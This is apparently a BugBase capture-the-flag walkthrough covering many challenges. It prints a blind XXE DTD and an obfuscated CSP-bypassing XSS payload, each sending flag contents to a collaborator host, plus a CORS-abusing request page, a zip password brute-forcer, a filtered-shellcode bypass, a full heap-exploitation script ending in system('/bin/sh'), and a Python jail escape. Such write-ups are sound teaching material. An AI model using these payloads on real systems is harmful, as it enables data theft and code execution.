As a part of our monthly CTF cycle we organized June Jeopardy CTF where over 350+ hackers participated to fight for the top 10 positions. This is a walk through of the june jeopardy CTF.


Opening the link will redirect us to BugBase's discord server. From the announcement channel, we can directly get the flag.



As we can see that PIE and NX are disabled, which is a always good sign to go ahead with shell coding.
Let's take a look at the source code.
1
2#include <stdio.h>
3#include <seccomp.h>
4#include <string.h>
5#include <stdlib.h>
6#include <unistd.h>
7
8void setup() {
9 setvbuf(stdin, NULL, _IONBF, 0);
10 setvbuf(stdout, NULL, _IONBF, 0);
11}
12
13void setup_seccomp_filter() {
14
15
16 scmp_filter_ctx ctx;
17 int ret;
18
19 ctx = seccomp_init(SCMP_ACT_KILL);
20 if (ctx == NULL) {
21 perror("seccomp_init failed");
22 return;
23 }
24
25 ret = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0);
26 if (ret != 0) {
27 perror("seccomp_rule_add 1 failed");
28 seccomp_release(ctx);
29 return;
30 }
31
32 ret = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sendflag), 0);
33 if (ret != 0) {
34 perror("seccomp_rule_add 2 failed");
35 seccomp_release(ctx);
36 return;
37 }
38
39
40 ret = seccomp_load(ctx);
41 if (ret != 0) {
42 perror("seccomp_load failed");
43 seccomp_release(ctx);
44 return;
45 }
46
47 seccomp_release(ctx);
48
49
50}
51
52int check(char *inp) {
53
54 char *blacklist = "\x48\x66\xeb\xcd\x80\x0f\x05\xb0\xb2\xb4\xb6\xb8\xb9\xba\xbe\xbf\xff\x31\x83\xc0\xc2\xc4\xc6\xc7\xe8\xec\xee\xef\xea";
55 if(strpbrk(inp,blacklist) != NULL){
56 return 0;
57 }
58 else {
59 return 1;
60 }
61
62}
63
64int main() {
65 setup();
66 printf("Welcome to our AI cookbot");
67 printf("\nHere's how it works, just give it a recipe to cook and it'll do the rest of job for you\nBon Apetit ;)\nEnter your recipe: ");
68 char recipe[58];
69 read(0,recipe,58);
70 if(check(recipe)){
71 setup_seccomp_filter();
72 ((void (*)())recipe)();
73 }else{
74 printf("That's a bad recipe!!!\n");
75 }
76}
77So it's time for shellcoding! We have to craft a shellcode that should not include these "\x48\x66\xeb\xcd\x80\x0f\x05\xb0\xb2\xb4\xb6\xb8\xb9\xba\xbe\xbf\xff\x31\x83\xc0\xc2\xc4\xc6\xc7\xe8\xec\xee\xef\xea" opcodes and also using only two syscalls openat and sendfile.
This means that most of the instructions (xor, mov rdi...) which are crucial for shellcoding are not available to us.
....At least that's what the challenge looks at first sight.
But turns out that the function which is used to filter the shellcode is flawed in itself. The strpbrk function stops scanning on null byte! So we don't really need to be clever with the shellcode, we can just insert an instruction that ends up in null bytes and has allowed characters. For example, mov ebx,1 and then we can comfortably use any instructions we want.
All that remains is crafting the payload!

This is the final payload. As you can notice, the first instruction ends in null bytes and has the allowed characters before the null bytes.
Following which, we make two syscalls, the first one is openat, which opens the file flag.txt which is present in the current directory as specified in the dirfd argument(rdi) to the syscall, and returns it's descriptor in rax, this descriptor is then used in the next sendfile syscall which then sends 256 bytes(or upto EOF) to the standard output. That spits out our flag!


This challenge was based on the "ECB Penguin" concept. In a gist, it means that AES in ECB mode acts as a "code book" which when loosely translated means it will encrypt the same block of data in the same way.
As an example, encrypting the following Linux Penguin in AES ECB mode gives us,


We can make out the image due to the residue left behind even after encryption.
1from PIL import Image
2import numpy as np
3
4ct = open("water_cooler.png.enc", "rb").read()
5arr = np.array(list(ct), dtype=np.uint8)
6print(arr.shape)
7arr = arr.reshape((25*3*4, 2*19*79, 4))
8img = Image.fromarray(arr)
9img.save("flag.png")We need to load the encrypted image by reshaping the array back into the correct dimensions. One way to do this is to factorize the length of the array.
Length of the array = 3602400
Divided by 4 for RGBA channels = 900600
Factors of 900600 = 2^3^x 3 x 5^2^ x 19 x 79
By trial and error, we find the size to be (2534, 21979) or (300, 3002).

Flag: BugBase{just_st0p_us1ng_ECB_please}

P.S: Hints are added after 36 hours of the release.
Opening the URL will take us to an admin login page where we have no clue about the username/password. Let's have a look at the source code:

From here, we get the username tuhin1729. Now we need only the password.
A simple directory bruteforcing will reveal this:

However, since directory listing is not available, we can't fetch the entire .git directory. Let's have a look at the file .git/config
1[core]
2 repositoryformatversion = 0
3 filemode = true
4 bare = false
5 logallrefupdates = true
6[remote "origin"]
7 url = https://github.com/sivadathdev/templates/
8 fetch = +refs/heads/*:refs/remotes/origin/*
9[branch "main"]
10 remote = origin
11 merge = refs/heads/main
12Opening the GitHub repository URL will reveal that it contains only the HTML templates used in the application. However, there are a couple of commits that drew our attention. Let's take a look at the commits individually,

So, we've got the username & password. Now let's log in to the original application using these credentials.
After logging in, we encountered the following portal from where the admin can send emails to the investors.

Upon submitting the form, the data will be sent to the /send endpoint as XML.

Looking at the request body, the first thing which comes to our mind is XML External Entity (XXE). However, since we can't see the output directly, the exploitation will be harder. Our goal is to fetch the content of the file /flagbugbase1.txt. So, we'll try to craft an XXE payload that will read the content of /flagbugbase1.txt and send it to our collaborator server.
For this, first, we'll store the following dtd file in our server
1<!ENTITY % file SYSTEM "file:///flagbugbase1.txt">
2<!ENTITY % all "<!ENTITY send SYSTEM 'http://738hw2hdlj4b6arncldezarqehk88ywn.oastify.com/?%file;'>">
3%all;Next, we'll try to invoke this external DTD within our XML payload.

Let's check if we got something in our collaborator,

Decoding the base64 encoded value will give us the flag.

The given URL takes us to a password-protected zip file that contains a pcap file. Let's try bruteforcing the zip password.

We'll use the following python code for that:
1import zipfile
2
3def crack_password(password_list, obj):
4 idx = 0
5 with open(password_list, 'rb') as file:
6 for line in file:
7 for word in line.split():
8 try:
9 idx += 1
10 obj.extractall(pwd=word)
11 print("Password found at line", idx)
12 print("Password is", word.decode())
13 return True
14 except:
15 continue
16 return False
17
18
19password_list = "/usr/share/wordlists/rockyou.txt"
20
21zip_file = "ctf_pcap.zip"
22
23
24obj = zipfile.ZipFile(zip_file)
25
26
27cnt = len(list(open(password_list, "rb")))
28
29print("There are total", cnt,
30 "number of passwords to test")
31
32if crack_password(password_list, obj) == False:
33 print("Password not found in this file")
34We'll use rockyou.txt for bruteforce.

Now let's use the password to extract the zip file.
Opening the pcap file in Wireshark will show a lot of noisy requests. First, we'll try to filter all the HTTP requests.

The POST request seems interesting. Digging deeper into this request we can clearly see the username & password.
Flag: BugBase{n0_0n3_c4n_h4ck_m3}

This challenge was based on Letter Frequency Analysis. The seemingly useful binary, hex, base64 data and other encrypted data using various ciphers had actually nothing to do with decoding/decrypting them.
Instead, it was actually deceptive. Upon closer inspection, it will be clear that the number of unique encoded/encrypted segments is 26. Which hints that each segment is mapped to a unique letter.

Using this concept, after assigning each segment a unique letter, and replacing, and removing the newlines, we get the following text:
ylu pylql! tjbylqn, uvo rfvh? pylu twf qlwiiu zlnn hjpy uvoq ylwc. jp'n ijrl pylu'ql biwujfa pqjtrn vf on. vfl zvzlfp uvo pyjfr uvo'dl tqwtrlc jp, wfc pyl flkp, gwz! cltlbpjvf npqjrln. gop ylu, ylql'n pyl xiwa wfuhwu, hqwb jp jf xiwa xvqzwp wfc svjf hjpy ofclqntvqln - tjbylqn twf gl cltjldjfa. rllb pywp jf zjfc wn uvo fwdjawpl pyl hvqic vx tvcln wfc boeeiln. ywbbu cltjbylqjfa!
Putting this in https://quipqiup.com/ we get the plaintext back:
hey there! ciphers, you know? they can really mess with your head. it's like they're playing tricks on us. one moment you think you've cracked it, and the next, bam! deception strikes. but hey, here's the flag anyway, wrap it in flag format and join with underscores - ciphers can be decieving. keep that in mind as you navigate the world of codes and puzzles. happy deciphering!
Flag: BugBase{ciphers_can_be_decieving}

Opening the URL will lead us to a simple web page where we can enter our hacker alias & it'll show a unique welcome message for us.

Let's take a look at the source code:

We got an HTML comment. Opening the /bugs endpoint will reveal the following page:

Once we submit the form, it'll show the message: Thank you for your feedback. An image of the endpoint is saved in our system. We'll look into it ASAP.
Now let's get back to the home page. We'll start by trying HTML Injection using a simple payload <h1>bugbase</h1>.

So there is no sanitization on the alias parameter value. However, when we were trying to get XSS, the CSP blocked us. Let's analyze the CSP at https://csp-evaluator.withgoogle.com/
.png)
A little google search took us to this GitHub repository: https://github.com/zigoo0/JSONBee.

Our goal is to craft an XSS payload that will fetch the content of /flag & send it to our collaborator server.
1<script src="https://m.addthis.com/live/red_lojson/100eng.json?callback=fetch(String.fromCharCode(...[47,102,108,97,103])).then(function%20a(da){return%20da.text()}).then(function%20b(c){%20window.location%20=%20String.fromCharCode(...[104,%20116,%20116,%20112,%20115,%2058,%2047,%2047,%20111,%2053,%20117,%20101,%20121,%2054,%20108,%2098,%20105,%2098,%20115,%2053,%20113,%20110,%2099,%20103,%20103,%2048,%2099,%20118,%2049,%20119,%2057,%2053,%20122,%20119,%2053,%20109,%20116,%2098,%2046,%20111,%2097,%20115,%20116,%20105,%20102,%20121,%2046,%2099,%20111,%20109,%2047,%2063,%20102,%20108,%2097,%20103,%2061]).concat(c)});j=">Now the problem is even if the payload works, we won't be able to send it to admin since it's a POST request with JSON body too!
After spending a couple of minutes, we discovered that there is CORS Misconfiguration in the application,

So now we can simply craft a JavaScript code that will send a JSON request to the server. Since CORS is misconfigured so the browser will allow us to do so.
1<!DOCTYPE html>
2<html>
3 <head>
4 <script>
5 var xhttp = new XMLHttpRequest();
6 xhttp.onreadystatechange = function() {
7 if (this.readyState == 4 && this.status == 200) {
8 var response = xhttp.responseText;
9 document.write(response);
10 }
11 };
12
13 //Create a JSON object
14 const json = {"alias":"<script src='https://m.addthis.com/live/red_lojson/100eng.json?callback=fetch(String.fromCharCode(...[104, 116, 116, 112, 58, 47, 47, 49, 54, 53, 46, 50, 51, 50, 46, 49, 57, 48, 46, 53, 58, 50, 48, 48, 48, 47, 102, 108, 97, 103])).then(function%20a(da){return%20da.text()}).then(function%20b(c){%20window.location%20=%20String.fromCharCode(...[104,%20116,%20116,%20112,%20115,%2058,%2047,%2047,%20112,%2051,%20116,%2051,%2097,%2054,%2057,%2056,%20108,%20120,%20107,%20122,%20122,%20120,%20105,%20115,%20115,%2097,%20119,%20113,%20107,%20120,%2055,%20112,%20122,%20103,%2053,%2055,%20116,%20120,%20104,%20109,%2046,%20111,%2097,%20115,%20116,%20105,%20102,%20121,%2046,%2099,%20111,%20109,%2047,%2063,%20102,%20108,%2097,%20103,%2061]).concat(c)});j='>"}
15 xhttp.open('POST', 'http://165.232.190.5:2000/');
16 xhttp.setRequestHeader("Content-Type"," application/json")
17
18 xhttp.withCredentials = true;
19 xhttp.send(JSON.stringify(json));
20
21 </script>
22
23 </head>
24 <body>
25qwerty
26 </body>
27</html>Now we need to host it in our server & put the URL of the file in the /bugs endpoint.

We are given 2 links, one is the URL of the BugBase Website Manager portal & another one is the recording of the cafe. Once we play the audio, we can identify that it's a DTMF tone. Let's try to decode it,

Now we'll convert the numbers into the actual password:

So the final password will be bugboil.
Now we need only the username. Let's take a look at the source code of the BugBase Website Manager,

Using the username & password, we can directly login to the portal & get the flag.


So we can see that the binary has pretty much all the protections turned on, except PIE.

Without wasting much time decompiling the binary in ghidra, I will provide the source code.
1#include <stdio.h>
2#include <stdlib.h>
3#include <unistd.h>
4#include <string.h>
5#include <time.h>
6
7#define NUM_MESSAGES 10
8
9const char* SYSTEM_MESSAGES[] = {
10
11 "Account Verification Required",
12 "New Message Notification",
13 "Account Update Confirmation",
14 "Important Announcement",
15 "Account Deactivation Notice",
16 "Welcome to Messenger App",
17 "Message Sent Successfully",
18 "Chat Backup Completed",
19 "Notification Settings Updated",
20 "Friend Request Received"
21};
22
23#define SIZE 10
24
25typedef struct {
26
27 char key[16];
28 char idx;
29
30} KeyValuePair;
31
32int users_idx = 0;
33
34typedef struct UserAc {
35
36 time_t time_of_onboarding;
37 long int uuid[8];
38 char email_addr[16];
39 char password[8];
40 char u_name[16];
41 char system_messages[7][64];
42 char messages[10][64];
43 KeyValuePair *data[SIZE];
44
45} user_ac;
46
47user_ac *users[8] = {NULL};
48
49void setup() {
50
51 setvbuf(stdin, NULL, _IONBF, 0);
52 setvbuf(stdout, NULL, _IONBF, 0);
53 for(int i=0;i<8;i++){
54 users[i]=NULL;
55 }
56
57}
58
59int hash(char* key) {
60 int sum = 0;
61 for (int i = 0; key[i] != '\0'; i++) {
62 sum += key[i];
63 }
64 return sum % SIZE;
65 }
66
67int menu() {
68
69 int choice;
70
71 do{
72
73 printf("1.) Log in \n");
74 printf("2.) Register \n");
75 printf("3.) Exit\n");
76 printf("\nEnter your choice: ");
77 scanf("%d",&choice);
78
79 }while(choice > 3 || choice <= 0);
80
81 return choice;
82
83}
84
85int logged_in_menu(char *uuid){
86
87 int choice;
88
89 do{
90 printf("\tWelcome %s\n\n",users[hash(uuid)%8]->u_name);
91 printf("1.) Msg a friend \n");
92 printf("2.) View inbox \n");
93 printf("3.) View System notifications\n");
94 printf("4.) Provide Feedback\n");
95 printf("5.) Delete Account [ Dangerous ]\n");
96 printf("6.) Log out \n");
97 printf("\nEnter your choice: ");
98 scanf("%d",&choice);
99 getchar();
100
101 }while(choice > 6 || choice <=0);
102
103}
104
105char *generate_system_msg(){
106
107
108 int index = rand() % NUM_MESSAGES;
109 return (char*)SYSTEM_MESSAGES[index];
110
111}
112
113char* generateUUID(char *uuid) {
114 srand(time(NULL));
115
116 for (int i = 0; i < 7; i++) {
117 int randomDigit = rand() % 16; // Generate a random number between 0 and 15
118 sprintf(uuid + i, "%X", randomDigit); // Convert the digit to hexadecimal and store it in the UUID string
119 }
120 (uuid)[7] = '\0'; // Add the null-terminating character at the end
121
122}
123
124void onboarding() {
125
126 char username[24],email[24];
127 long hsh;
128 memset(username,'\0',16);
129 memset(email,'\0',16);
130
131 user_ac *new = (user_ac *)malloc(sizeof(user_ac));
132 for(int i=0; i<7;i++) {
133
134 char *msg = generate_system_msg();
135 memcpy(new->system_messages[i],msg,strlen(msg));
136
137 }
138
139 printf("\nHello Friend.....Hello Friend!?!?\n\n\t<Enter a Mr Robot Meme here>\n\n");
140 printf("Enter your User name: ");
141 read(0,username,16);
142 printf("Enter your Email address: ");
143 read(0,email,15);
144 char uuid[8];
145 memset(uuid,'\0',8);
146 generateUUID(uuid);
147 printf("Enter your Password: ");
148 char password[8];
149 read(0,password,8);
150
151 time_t currentTime;
152 time(¤tTime);
153
154 memcpy(new->uuid,uuid,8);
155 new->time_of_onboarding = currentTime;
156 memcpy(new->u_name,username,strlen(username));
157 memcpy(new->email_addr,email,strlen(email));
158 memcpy(new->password,password,strlen(password));
159 hsh = hash(uuid)%8;
160 users[hsh]=new;
161 printf("\nOnboarding process successfully completed!!!\nYour uuid is: %s\n\n",uuid);
162
163}
164
165void login(char *uuid){
166
167 printf("Enter uuid: ");
168 char uuid_inp[8];
169 scanf("%8s",uuid_inp);
170 user_ac *u = users[hash(uuid_inp)%8];
171 if(u !=NULL) {
172
173 printf("Enter your password: ");
174 char password[8];
175 read(0,password,8);
176 if(memcmp(password,u->password,8)==0){
177 printf("\n\tLog in successful!\n\n");
178 memcpy(uuid,uuid_inp,8);
179 }else {
180 printf("\n\tPassword incorrect,Log in failed!\n\n");
181 }
182
183 }else {
184 printf("\n\tLog In failed : No Such user\n\n");
185 }
186
187
188}
189
190void msg_friend(){
191
192 printf("Enter the uuid of your friend: ");
193 char uuid[8];
194 fgets(uuid,8,stdin);
195 getchar();
196 user_ac *u = users[hash(uuid)%8];
197
198 if(u==NULL){
199 printf("No such account!\n\n");
200 return;
201 }
202
203 printf("Enter the msg title: ");
204 char title[16];
205 fgets(title,16,stdin);
206 u->data[hash(title)%SIZE]=(KeyValuePair*)(malloc(sizeof(KeyValuePair)));
207 memcpy((u->data[hash(title)%SIZE])->key,title,strlen(title));
208 (u->data[hash(title)%SIZE])->idx= hash(title)%SIZE;
209 char msg[64];
210 printf("Enter your message: ");
211 fgets(msg,64,stdin);
212 memcpy(u->messages[hash(title)%SIZE],msg,64);
213 printf("\n\tMESSAGE SENT SUCCESSFULLY\n");
214
215}
216
217void dlt_usr(char *uuid) {
218
219 printf("Are you sure you want to dlt this account?[y?]: ");
220 char i=getchar();
221
222 if(i=='y') {
223 free(users[hash(uuid)%8]);
224 printf("\n\n\tAccount deleted successfully!\n\n");
225
226 }else {
227
228 printf("\nPhewww!\n\n");
229
230 }
231
232
233}
234
235void view_inbox(char *uuid) {
236
237 puts("\n\n\t***OPENING INBOX***");
238 user_ac *u = users[hash(uuid)%8];
239 KeyValuePair *nxt_msg;
240 for(int i=0;i<SIZE;i++){
241 nxt_msg = u->data[i];
242 if(nxt_msg != NULL) {
243 printf("\nMsg Title: %s\n",nxt_msg->key);
244 printf("Msg Content: %s\n\n",u->messages[nxt_msg->idx]);
245 }
246
247 }
248
249}
250
251void view_system_messages(char *uuid) {
252
253 puts("\n\n\t***OPENING SYSTEM MESSAGES***");
254 user_ac *u = users[hash(uuid)%8];
255 for(int i=0;i<7;i++){
256
257 printf("\n[ SYSTEM ] : %s\n",u->system_messages[i]);
258
259 }
260 puts("\n");
261
262}
263
264int main() {
265 srand(time(NULL));
266 char feedback[560];
267 setup();
268 int logged_in=0;
269 char uuid[8];
270 memset(uuid,'\0',8);
271 while (1){
272 if(logged_in) {
273
274 switch(logged_in_menu(uuid)){
275
276 case 1: //
277 msg_friend();
278 break;
279
280 case 2: // view user inbox
281 view_inbox(uuid);
282 break;
283
284 case 3: // view system messages
285 view_system_messages(uuid);
286 break;
287
288 case 4: // provide feedback
289 printf("\n\tWe value your feedback deeply!\n\n");
290 printf("Enter your feedback: ");
291 fgets(feedback, 560, stdin);
292 printf("\nYour feedback will be due diligently considered by our team\n");
293 break;
294
295 case 5: //delete user
296 dlt_usr(uuid);
297 memset(uuid,'\0',8);
298 logged_in=0;
299 break;
300
301 case 6: //logout
302 memset(uuid,'\0',8);
303 logged_in=0;
304 printf("\n\n\tLogged Out successfully!\n\n");
305 break;
306
307 default:
308 break;
309 };
310
311 }else{
312 switch(menu()) {
313 case 1:
314 login(uuid);
315 if(memcmp(uuid,"\0\0\0\0\0\0\0\0",8)) {
316 logged_in = 1;
317 }
318 break;
319 case 2:
320 onboarding();
321 break;
322 case 3:
323 printf("\n\n\n Auf Wiedersehen! :)");
324 return 0;
325 default:
326 break;
327
328 };
329 }
330 }
331
332
333
334}
335This is a simple messaging application, with a lot of bugs! Let's analyze the bugs one by one
There is an easy Use After Free in the msg_friend function. As there is no check on whether the user has been deleted or not before sending the message. Which allows us to send messages to users even after we delete the account.
We can also log in and read the inbox, i.e., the messages sent to any particular user even after their account is deleted.
Let's now jump to the exploit
1#!/usr/bin/python3
2
3from pwn import *
4import time
5
6libc = ELF('libc.so.6', checksec=False)
7r=process('./chall_patched')
8
9info = lambda msg: log.info(msg)
10sla = lambda msg, data: r.sendlineafter(msg, data)
11sa = lambda msg, data: r.sendafter(msg, data)
12sl = lambda data: r.sendline(data)
13s = lambda data: r.send(data)
14sln = lambda msg, num: sla(msg, str(num).encode())
15sn = lambda msg, num: sa(msg, str(num).encode())
16
17def onboarding(name = b'test', email = b'test', passwd = b'test'):
18 sln(b'choice: ', 2)
19 sa(b'name: ', name)
20 sa(b'address: ', email)
21 sa(b'Password: ', passwd)
22 r.recvuntil(b'uuid is: ')
23 uuid = r.recvline(False)
24 return uuid
25
26def msg_friend(uuid_fr, msg_title, your_msg):
27 sln(b'choice: ', 1)
28 sla(b'friend: ', uuid_fr)
29 sla(b'title: ', msg_title)
30 sla(b'message: ', your_msg)
31
32def dlt_usr():
33 sln(b'choice: ', 5)
34 sla(b'[y?]: ', b'y')
35
36def view_inbox():
37 sln(b'choice: ', 2)
38
39def view_system_messages():
40 sln(b'choice: ', 3)
41
42def log_out():
43 sln(b'choice: ', 6)
44
45def login(uuid, passwd = b'test'):
46 sln(b'choice: ', 1)
47 sla(b'uuid: ', uuid)
48 sa(b'password: ', passwd)
49
50uuid = []
51uuid.append(onboarding())
52print(uuid)
53login(uuid[0])
54msg_friend(uuid[0], b'hello', b'hello')
55dlt_usr()
56
57login(uuid[0])
58msg_friend(uuid[0], b'\x00', b'hello')
59view_inbox()
60r.recvuntil(b'Title: ')
61libc.address = u64(r.recv(6).ljust(8, b'\x00')) - 0x3ec0d0
62info(hex(libc.address))
63
64for i in range(20): msg_friend(uuid[0], b'hello', b'hello')
65time.sleep(2)
66msg_friend(uuid[0], b'hello', p64(0x20) + p64(0x511) + p64(libc.address+0x3ebca0)*2)
67
68log_out()
69uuid.append(onboarding())
70login(uuid[0], p64(0x21))
71print(uuid)
72msg_friend(uuid[0], b'hello', p64(0) + p64(0x21) + p64(0)*3 + p64(0x21))
73log_out()
74login(uuid[1])
75dlt_usr()
76
77login(uuid[0], p64(0x21))
78dlt_usr()
79
80login(uuid[0], p64(0x21))
81msg_friend(uuid[0], b'hello', p64(0) + p64(0x21) + p64(0)*2)
82log_out()
83login(uuid[1])
84dlt_usr()
85
86login(uuid[0], p64(0x21))
87dlt_usr()
88login(uuid[0], p64(0x21))
89msg_friend(uuid[0], b'hello', p64(0) + p64(0x21) + p64(libc.sym['__free_hook']))
90msg_friend(uuid[0], b'/bin/sh\x00', p64(0) + p64(0x21) + p64(libc.sym['__free_hook']))
91msg_friend(uuid[0], p64(libc.sym['system']), p64(0))
92log_out()
93
94login(uuid[1])
95dlt_usr()
96
97r.interactive()Firstly, we create and delete a user, this will cause the malloced user chunk(size=0x510) to enter into unsorted bin.

And Here is the chunk in memory.

Now when we delete it, we can see that it went to the unsorted bin.

After deleting the user, when we send a message, the malloc call for the message 'title' borrows it's chunk from the large user chunk which just got freed. and gets placed right at the start of the user chunk. This allows us to leak the libc address which is stored at the forward and backward pointers of the unsorted bin chunk by sending a message with an empty title and then reading the inbox (Read After Free).


So now we have the libc leak. What's next?
Now we notice that whenever we try to send a msg, the title malloc borrows chunks from the memory region of the previously allocated user struct. So we send 20 messages repeatedly to fill up to the first index of the user_ac->messages array. And then we forge an unsorted bin chunk by writing the prev_size and nxt_size at the position of the first message(Write after Free). As shown in the image

Now if we create another user, it will return a pointer to this memory region i.e the address 0x1ab2520.

Now we will forge the size of this newly malloced chunk to 0x21 by sending a message with the title \x00 to target the first message in the array.

We will then delete this newly created user so that the address 0x1ab2520 ends up in the tcache. Notice that we are basically creating a setup for tcache poisoning.

Now we will need to delete the first user again, which at this point is just pointing to a 'title' malloc allocation. This is done to avoid the msg_friend to cause an allocation at the address 0x1ab2520. Then we send a message, resetting the size of the forged chunk at 0x1ab250 to 0x21, before freeing it for one more time. This will cause a loop in tcache bin and we can allocate a chunk at 0x1ab250 without removing it from the tcache.

This is what the following code of the exploit does.
1login(uuid[1])
2dlt_usr()
3
4login(uuid[0], p64(0x21))
5dlt_usr()
6
7login(uuid[0], p64(0x21))
8msg_friend(uuid[0], b'hello', p64(0) + p64(0x21) + p64(0)*2)
9log_out()
10login(uuid[1])
11dlt_usr()
12
13login(uuid[0], p64(0x21))
14dlt_usr()Finally, we are ready to perform tcache poisoning. By sending a mesage to 0th index, ie. the address 0x1ab2510, and we poison the fwd pointer to point to the address of __free_hook.
Now, in the following piece of code, we poison the tcache, which will then return the next pointer of malloc to __free_hook and we will populate it to the address of system function. Also, since there was a loop in tcache, the first pointer returned would be to the first message itself and we set the title as /bin/sh\x00, so when we ultimately call free, it gets called with the argument of /bin/sh instead of the pointer to the chunk free("/bin/sh"). And it ultimately executes system("/bin/sh") due to __free_hook, dropping us with a shell!
1msg_friend(uuid[0], b'hello', p64(0) + p64(0x21) + p64(libc.sym['__free_hook']))
2msg_friend(uuid[0], b'/bin/sh\x00', p64(0) + p64(0x21) + p64(libc.sym['__free_hook']))
3msg_friend(uuid[0], p64(libc.sym['system']), p64(0))
4log_out()
5
6login(uuid[1])
7dlt_usr()
8
9

And Voila!



As we can see that some inputs are restricted while some are allowed and produce Python errors. Bruteforcing each character and special characters we find that the challenge is implementing a whitelist.
[i,a,s,c,n, ' , ', r, h, t, /, ( , ), [, ], +, -]
Now we can try to eval some functions that are allowed in this restricted charset, for eg: chr(),int()

so we can see that it is trying to evaluate our input(if it gets accepted).
we also don't have access to numbers, so we can't use chr() to our advantage. So we have the following functions available to us for use.
1ascii
2chr
3hasattr
4hash
5int
6strThe hash function is of interest to us as we can get some numbers with it.
hash() produces large integers when given function names as input. The integer values are nothing but the memory address of those functions
So we can get our hands on '1' and '0' using hash(())/hash(()) and int() respectively. We can use this in conjunction with 'ascii()' and the `chr()' function to give us access to unrestricted input for the second eval.
Here is the action plan:
The below script does just that...
1from pwn import *
2
3r = remote("165.232.190.5",1339)
4r.recvuntil(b'>')
5
6def lvl1(inp):
7 word=""
8 for i in inp:
9 char = "ascii(int())"
10 b = bin(ord(i))[2:]
11 for bit in b:
12 if bit == '1':
13 char += '+ascii(hash(())//hash(()))'
14 elif bit == '0':
15 char += '+ascii(int())'
16 word += f"chr(int({char},(hash(())//hash(())+hash(())//hash(()))))+"
17
18 print(eval(word[:-1]))
19
20 return word[:-1].encode()
21
22r.sendline(lvl1("print(eval)"))
23r.interactive()
24So using this script we try out various helpful functions: exec ,eval etc.
Turns out they are blacklisted ...

let's check the globals array
1r.sendline(lvl1("print(globals())")) 
There's a suspicious blackflag function 🤔. Let's try to execute it...

Voila...There's our flag!!
Following is the challenge code:
1import sys
2import time
3
4LVL_1_WHITELIST = ['i','a','s','c','n',',','r','h','t','/','(',')','[',']','+','-']
5LVL2_BLACKLIST_WORDS = ['__builtins__', '__import__', 'eval', 'exec', 'import',
6'from', 'os', 'sys', 'system', 'timeit', 'base64commands',
7 'subprocess', 'pty', 'platform', 'open', 'read', 'write',
8 'dir', 'type','input','breakpoint']
9LVL2_BLACKLIST_CHARS = ('.', '_', '/', '"', ';', ' ', "'", ',','[',']')
10
11def blackflag():
12
13 FLAG = "BugBase{n0t_h4rd_f0r_th3_l33t_aut0m4t3rs_4afe32}"
14 print(f"Congratulations on finding the FLAG: {FLAG}")
15
16def loop():
17
18 inp = input('> ')
19
20 try:
21 for i in inp:
22 if i not in LVL_1_WHITELIST:
23 print(f"Eh- I am not expecting that: {i}")
24 return
25
26 lvl1 = eval(inp)
27 print("Are you ready for lvl2 ?")
28
29 for i in LVL2_BLACKLIST_WORDS:
30 if i in lvl1:
31 print(f"Eh- I am not expecting that: {i}")
32 return
33 for i in LVL2_BLACKLIST_CHARS:
34 if i in lvl1:
35 print(f"Eh- I am not expecting that: {i}")
36 return
37
38 print(f"[+] Evaluating {lvl1}")
39
40 lvl2 = eval(lvl1)
41
42 except Exception as e: print(f'Error: {e}\n')
43
44if __name__ == '__main__':
45
46 while True: loop()